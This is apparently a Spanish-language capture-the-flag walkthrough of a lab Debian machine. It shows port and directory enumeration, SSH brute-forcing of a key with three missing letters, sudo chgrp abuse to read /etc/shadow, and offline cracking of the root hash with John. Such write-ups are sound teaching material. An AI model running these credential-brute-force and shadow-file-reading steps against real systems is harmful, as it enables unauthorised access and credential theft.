Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.12
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.12
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-14 15:32 -04
Nmap scan report for 192.168.1.12
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:f1:ed:84:cc:41:8c:7e:c6:92:a9:b4:29:57:bf:d1 (RSA)
| 256 9f:f3:93:db:72:ff:cd:4d:5f:09:3e:dc:13:36:49:23 (ECDSA)
|_ 256 e7:a3:72:dd:d5:af:e2:b5:77:50:ab:3d:27:12:0f:ea (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Cours PHP & MySQL
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds❯ gobuster dir -u 'http://192.168.1.12' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php (Status: 200) [Size: 279]
/sshnote.txt
...Credential Exposure y recuperación de la clave SSH
Un curl verboso revela una cookie cuyo valor, después de URL decoding, es una cadena Base64. Al decodificarla obtenemos el nombre poisonedgift.txt. Esto es una pista expuesta por el servidor, no evidencia suficiente para afirmar que la cookie permita lectura arbitraria de archivos:
❯ curl http://192.168.1.12 -vvv
...
< Set-Cookie: cookie=cG9pc29uZWRnaWZ0LnR4dA%3D%3D
...
❯ echo "cG9pc29uZWRnaWZ0LnR4dA==" | base64 -d
poisonedgift.txtDescargamos ese archivo (una clave SSH incompleta) y la nota:
❯ wget http://192.168.1.12/poisonedgift.txt
❯ cat poisonedgift.txt
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
❯ wget http://192.168.1.12/sshnote.txt
❯ cat sshnote.txt
My RSA key is messed up, it looks like 3 capital letters have been replaced by stars.
Can you try to fix it?
sophieLa clave tiene tres letras mayúsculas reemplazadas por ***. El espacio de búsqueda está acotado a 26³, es decir, 17.576 combinaciones. Generamos todas las cadenas, sustituimos el marcador y usamos la autenticación SSH como verificador de cada clave reconstruida:
❯ cat wordlist_creator.py
import itertools
letras = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
combinaciones = itertools.product(letras, repeat=3)
with open('wordlist.txt', 'w') as archivo:
for combinacion in combinaciones:
palabra = ''.join(combinacion)
archivo.write(palabra + '\n')❯ cat cracking_id_rsa.sh
#!/bin/bash
for LETTERS in $(cat wordlist.txt); do
sed "s/\*\*\*/$LETTERS/g" id_rsa > tmp.file && chmod 600 tmp.file
echo $LETTERS
ssh sophie@192.168.1.12 -i tmp.file && break
done
❯ ./cracking_id_rsa.sh
...
BOM
sophie@debian:~$Obtenemos una shell como sophie y la primera flag. Revisamos sudo -l:
sophie@debian:~$ sudo -l
Matching Defaults entries for sophie on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sophie may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/chgrpSudo-Allowed Program Abuse mediante chgrp
La regla permite un Sudo-Allowed Program Abuse. chgrp no cambia el propietario de /etc/shadow; cambia su grupo a sophie. Como el archivo concede lectura al grupo, la cuenta puede recuperar temporalmente el hash de root y luego restaurar el grupo original:
sophie@debian:~$ sudo chgrp sophie /etc/shadow
sophie@debian:~$ cat /etc/shadow
...
root:$1$root$dZ6JC474uVpAeG8g0oh/7.:18917:0:99999:7:::
...
sophie@debian:~$ sudo chgrp shadow /etc/shadowEl hash MD5-crypt corresponde a una Weak Password presente en rockyou.txt, que John recupera fuera de línea:
❯ echo 'root:$1$root$dZ6JC474uVpAeG8g0oh/7.' > hash
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
barbarita (root)
...Y nos autenticamos como root:
sophie@debian:~$ su root
Password:
root@debian:/home/sophie#Obtenemos nuestra flag.
Fin.